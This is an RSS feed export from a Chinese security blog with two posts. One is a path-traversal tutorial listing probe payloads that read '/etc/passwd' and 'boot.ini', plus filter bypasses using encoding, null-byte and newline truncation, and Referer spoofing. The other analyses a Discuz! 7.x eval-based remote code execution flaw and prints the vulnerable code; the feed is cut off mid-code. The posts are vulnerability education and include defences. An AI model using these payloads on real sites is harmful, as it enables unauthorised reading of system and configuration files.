<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>暖月 &#187; discuz漏洞</title>
	<atom:link href="http://www.nuanyue.com/tag/discuz%e6%bc%8f%e6%b4%9e/feed" rel="self" type="application/rss+xml" />
	<link>http://www.nuanyue.com</link>
	<description>专注WEB、Linux及数据库应用安全</description>
	<lastBuildDate>Sun, 01 Aug 2010 01:52:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>浅析路径遍历漏洞</title>
		<link>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e.html</link>
		<comments>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e.html#comments</comments>
		<pubDate>Sat, 29 May 2010 15:47:21 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[discuz漏洞]]></category>
		<category><![CDATA[本地验证;上传]]></category>
		<category><![CDATA[跨站漏洞]]></category>
		<category><![CDATA[路径遍历]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1292</guid>
		<description><![CDATA[<h3>文/饭<a href="http://www.nuanyue.com"></a></h3>
<p>许多的Web应用程序一般会有对服务器的文件读取查看的功能，大多会用到提交的参数来指明文件名，形如：<a href="http://www.nuanyue.com/getfile=image.jgp">http://www.nuanyue.com/getfile=image.jgp</a></p>
<p>当服务器处理传送过来的image.jpg文件名后，Web应用程序即会自动添加完整路径，形如“d://site/i[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<h3>文/饭<a href="http://www.nuanyue.com"></a></h3>
<p>许多的Web应用程序一般会有对服务器的文件读取查看的功能，大多会用到提交的参数来指明文件名，形如：<a href="http://www.nuanyue.com/getfile=image.jgp">http://www.nuanyue.com/getfile=image.jgp</a></p>
<p>当服务器处理传送过来的image.jpg文件名后，Web应用程序即会自动添加完整路径，形如“d://site/images/image.jpg”，将读取的内容返回给访问者。</p>
<p>初看，在只是文件交互的一种简单的过程，但是由于文件名可以任意更改而服务器支持“~/”，“/..”等特殊符号的目录回溯，从而使攻击者越权访问或者覆盖敏感数据，如网站的配置文件、系统的核心文件，这样的缺陷被命名为路径遍历漏洞。在检查一些常规的Web应用程序时，也常常有发现，只是相对隐蔽而已。</p>
<h4>发现路径遍历漏洞</h4>
<p>路径遍历漏洞的发现，主要是对Web应用程序的文件读取交互的功能块，进行检测，面对这样的读取方式：</p>
<p>“http://www.nuanyue.com/test/downfile.jsp?filename=fan.pdf”</p>
<p>我们可以使用 “../”来作试探，比如提交Url：“getfile=/fan/fan/*53.pdf”，而系统在解析是“d://site/test/pdf/fan/fan/../../*53.pdf”，通过“../”跳转目录“/fan”，即“d://site/test/pdf/*53.pdf”，返回了读取文件的正常的页面。</p>
<p>路径遍历漏洞隐藏一般在文件读取或者展示图片功能块这样的通过参数提交上来的文件名，从这可以看出来过滤交互数据是完全有必要的。恶意攻击者当然后会利用对文件的读取权限进行跨越目录访问，比如访问一些受控制的文件，“../../../../../../../etc/passwd“或者”../../../../boot.ini“，当然现在部分网站都有类似Waf的防护设备，只要在数据中会有/etc /boot.ini等文件名出直接进行拦截。</p>
<h4>遍历路径攻击变异</h4>
<p>路径遍历漏洞是很常见的，在Web应用程序编写过程，会有意识的对传递过来的参数进行过滤或者直接删除，存在风险的过滤方式，一般可以采用如下方式进行突破：</p>
<p>以下是一些绕过的方法，当然在实际运行过程中，可以组合使用。</p>
<p>(1) 加密参数传递的数据；在Web应用程序对文件名进行加密之后再提交，比如：“downfile.jsp?filename= ZmFuLnBkZg- “，在参数filename用的是Base64加密，而攻击者要想绕过，只需简单的将文件名加密后再附加提交即可。所以说，采用一些有规律或者轻易能识别的加密方式，也是存在风险的。</p>
<p>(2)  编码绕过，尝试使用不同的编码转换进行过滤性的绕过，比如Url编码，通过对参数进行Url编码提交，“downfile.jsp?filename= %66%61%6E%2E%70%64%66“来绕过。</p>
<p>(3)  目录限定绕过；在有些Web应用程序是通过限定目录权限来分离的。当然这样的方法不值得可取的，攻击者可以通过某些特殊的符号“~“来绕过。形如这样的提交“downfile.jsp?filename=~/../boot”。能过这样一个符号，就可以直接跳转到硬盘目录下了。</p>
<p>(4)  绕过文件后缀过滤；一些Web应用程序在读取文件前，会对提交的文件后缀进行检测，攻击者可以在文件名后放一个空字节的编码，来绕过这样的文件类型的检查。例如：../../../../boot.ini%00.jpg，Web应用程序使用的Api会允许字符串中包含空字符，当实际获取文件名时，则由系统的Api会直接截短，而解析为“../../../../boot.ini”。在类Unix的系统中也可以使用Url编码的换行符，例如：../../../etc/passwd%0a.jpg如果文件系统在获取含有换行符的文件名，会截短为文件名。也可以尝试%20，例如: ../../../index.jsp%20</p>
<p>(5)  绕过来路验证。在一些Web应用程序中，会有对提交参数的来路进行判断的方法，而绕过的方法可以尝试通过在网站留言或者交互的地方提交Url再点击或者直接修改Http Referer即可，这主要是原因Http Referer是由客户端浏览器发送的，服务器是无法控制的，而将此变量当作一个值得信任源是错误的。</p>
<h4>防范遍历路径漏洞</h4>
<p>在防范遍历路径漏洞的方法中，最有效的是权限的控制，谨慎的处理向文件系统API传递过来的参数路径。主要是因为大多数的目录或者文件权限均没有得到合理的配置，而Web应用程序对文件的读取大多依赖于系统本身的API，在参数传递的过程，如果没有得严谨的控制，则会出现越权现象的出现。在这种情况下，Web应用程序可以采取以下防御方法，最好是组合使用。</p>
<p>(1)  数据净化，对网站用户提交过来的文件名进行硬编码或者统一编码，对文件后缀进行白名单控制，对包含了恶意的符号或者空字节进行拒绝。</p>
<p>(2)  Web应用程序可以使用chrooted环境访问包含被访问文件的目录，或者使用绝对路径+参数来控制访问目录，使其即使是越权或者跨越目录也是在指定的目录下。</p>
<h4>总结</h4>
<p>路径遍历漏洞允许恶意攻击者突破Web应用程序的安全控制，直接访问攻击者想要的敏感数据 ，包括配置文件、日志、源代码等，配合其它漏洞的综合利用，攻击者可以轻易的获取更高的权限，并且这样的漏洞在发掘上也是很容易的，只要对Web应用程序的读写功能块直接手工检测，通过返回的页面内容来判断，是很直观的，利用起来也相对简单。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Discuz! 7.x 远程代码执行漏洞</title>
		<link>http://www.nuanyue.com/discuz-7-x-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e.html</link>
		<comments>http://www.nuanyue.com/discuz-7-x-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e.html#comments</comments>
		<pubDate>Wed, 06 Jan 2010 17:06:16 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[discuz漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1154</guid>
		<description><![CDATA[<p>文/<a href="http://www.oldjun.com/blog/index.php/archives/58/" target="_blank">oldjun</a></p>
<p>影响版本：Discuz! 7.1/7.2<br />
漏洞分析：<br />
下面来分析下这个远程代码执行漏洞，这个问题真的很严重，可以直接写shell的：<br />
一、漏洞来自showmessage函数：</p>

<div class="wp_codebox"><table><tr id="p11541"><td class="code" id="p1154code1"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> showmessage<span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #000088;">$url_forward</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''[......]</span></pre></td></tr></table></div><p class='read-more'><a href='http://www.nuanyue.com/discuz-7-x-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>文/<a href="http://www.oldjun.com/blog/index.php/archives/58/" target="_blank">oldjun</a></p>
<p>影响版本：Discuz! 7.1/7.2<br />
漏洞分析：<br />
下面来分析下这个远程代码执行漏洞，这个问题真的很严重，可以直接写shell的：<br />
一、漏洞来自showmessage函数：</p>

<div class="wp_codebox"><table><tr id="p11544"><td class="code" id="p1154code4"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> showmessage<span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #000088;">$url_forward</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extra</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$forwardtype</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #990000;">extract</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$GLOBALS</span><span style="color: #339933;">,</span> EXTR_SKIP<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//危险的用法，未初始化的变量可以直接带进函数，直接导致了问题产生，from www.oldjun.com</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$hookscriptmessage</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extrahead</span><span style="color: #339933;">,</span> <span style="color: #000088;">$discuz_uid</span><span style="color: #339933;">,</span> <span style="color: #000088;">$discuz_action</span><span style="color: #339933;">,</span> <span style="color: #000088;">$debuginfo</span><span style="color: #339933;">,</span> <span style="color: #000088;">$seccode</span><span style="color: #339933;">,</span> <span style="color: #000088;">$seccodestatus</span><span style="color: #339933;">,</span> <span style="color: #000088;">$fid</span><span style="color: #339933;">,</span> <span style="color: #000088;">$tid</span><span style="color: #339933;">,</span> <span style="color: #000088;">$charset</span><span style="color: #339933;">,</span> <span style="color: #000088;">$show_message</span><span style="color: #339933;">,</span> <span style="color: #000088;">$inajax</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_DCACHE</span><span style="color: #339933;">,</span> <span style="color: #000088;">$advlist</span><span style="color: #339933;">;</span>
    <span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'CACHE_FORBIDDEN'</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$hookscriptmessage</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$show_message</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$message</span><span style="color: #339933;">;</span><span style="color: #000088;">$messagehandle</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$msgforward</span> <span style="color: #339933;">=</span> <span style="color: #990000;">unserialize</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_DCACHE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'settings'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'msgforward'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$refreshtime</span> <span style="color: #339933;">=</span> <span style="color: #990000;">intval</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$msgforward</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'refreshtime'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$refreshtime</span> <span style="color: #339933;">=</span> <span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$forwardtype</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$refreshtime</span> <span style="color: #339933;">:</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$refreshtime</span> ? <span style="color: #000088;">$refreshtime</span> <span style="color: #339933;">:</span> <span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$msgforward</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'refreshtime'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$refreshtime</span> <span style="color: #339933;">*</span> <span style="color: #cc66cc;">1000</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$url_forward</span> <span style="color: #339933;">=</span> <span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url_forward</span><span style="color: #009900;">&#41;</span> ? <span style="color: #0000ff;">''</span> <span style="color: #339933;">:</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_DCOOKIE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sid'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #000088;">$transsidstatus</span> ? transsid<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url_forward</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$url_forward</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$seccodecheck</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$seccodestatus</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #cc66cc;">2</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_DCACHE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'settings'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'funcsiteid'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #000088;">$_DCACHE</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'settings'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'funckey'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #000088;">$funcstatinfo</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #339933;">!</span>IS_ROBOT<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$statlogfile</span> <span style="color: #339933;">=</span> DISCUZ_ROOT<span style="color: #339933;">.</span><span style="color: #0000ff;">'./forumdata/funcstat.log'</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$statlogfile</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'a'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">flock</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">is_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$funcstatinfo</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #000088;">$funcstatinfo</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array_unique</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$funcstatinfo</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$funcstatinfo</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$funcinfo</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                    <span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> funcstat_query<span style="color: #009900;">&#40;</span><span style="color: #000088;">$funcinfo</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
            <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span> funcstat_query<span style="color: #009900;">&#40;</span><span style="color: #000088;">$funcstatinfo</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #009900;">&#125;</span>
            <span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #000088;">$funcstatinfo</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$GLOBALS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'funcstatinfo'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">defined</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'STAT_DISABLED'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> STAT_ID <span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #339933;">!</span>IS_ROBOT<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        write_statlog<span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url_forward</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$quickforward</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$inajax</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #000088;">$msgforward</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'quick'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #000088;">$msgforward</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'messages'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #339933;">@</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #000088;">$msgforward</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'messages'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        updatesession<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        dheader<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;location: &quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&amp;amp;'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&amp;amp;'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$url_forward</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$infloat</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$extra</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000088;">$messagehandle</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$extra</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
        <span style="color: #000088;">$extra</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$extra</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'HALTED'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'NOPERM'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$discuz_action</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">254</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$discuz_action</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">255</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #b1b100;">include</span> language<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'messages'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000088;">$vars</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">':'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//只要含:就可以了</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$vars</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">2</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$scriptlang</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$vars</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$vars</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #666666; font-style: italic;">//两个数字即可，用:分割</span>
        <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\$</span>show_message = <span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&quot;'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">' \&quot;'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$scriptlang</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$vars</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$vars</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//$scriptlang未初始化，可以自定义，from www.oldjun.com</span>
    <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$language</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$message</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$pre</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$inajax</span> ? <span style="color: #0000ff;">'ajax_'</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
        <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\$</span>show_message = <span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$language</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$pre</span><span style="color: #339933;">.</span><span style="color: #000088;">$message</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$language</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$pre</span><span style="color: #339933;">.</span><span style="color: #000088;">$message</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$language</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$message</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pre</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #339933;">......</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>二、DZ的全局机制导致了未初始化的参数可以任意提交：</p>

<div class="wp_codebox"><table><tr id="p11545"><td class="code" id="p1154code5"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'_COOKIE'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'_POST'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'_GET'</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$_request</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
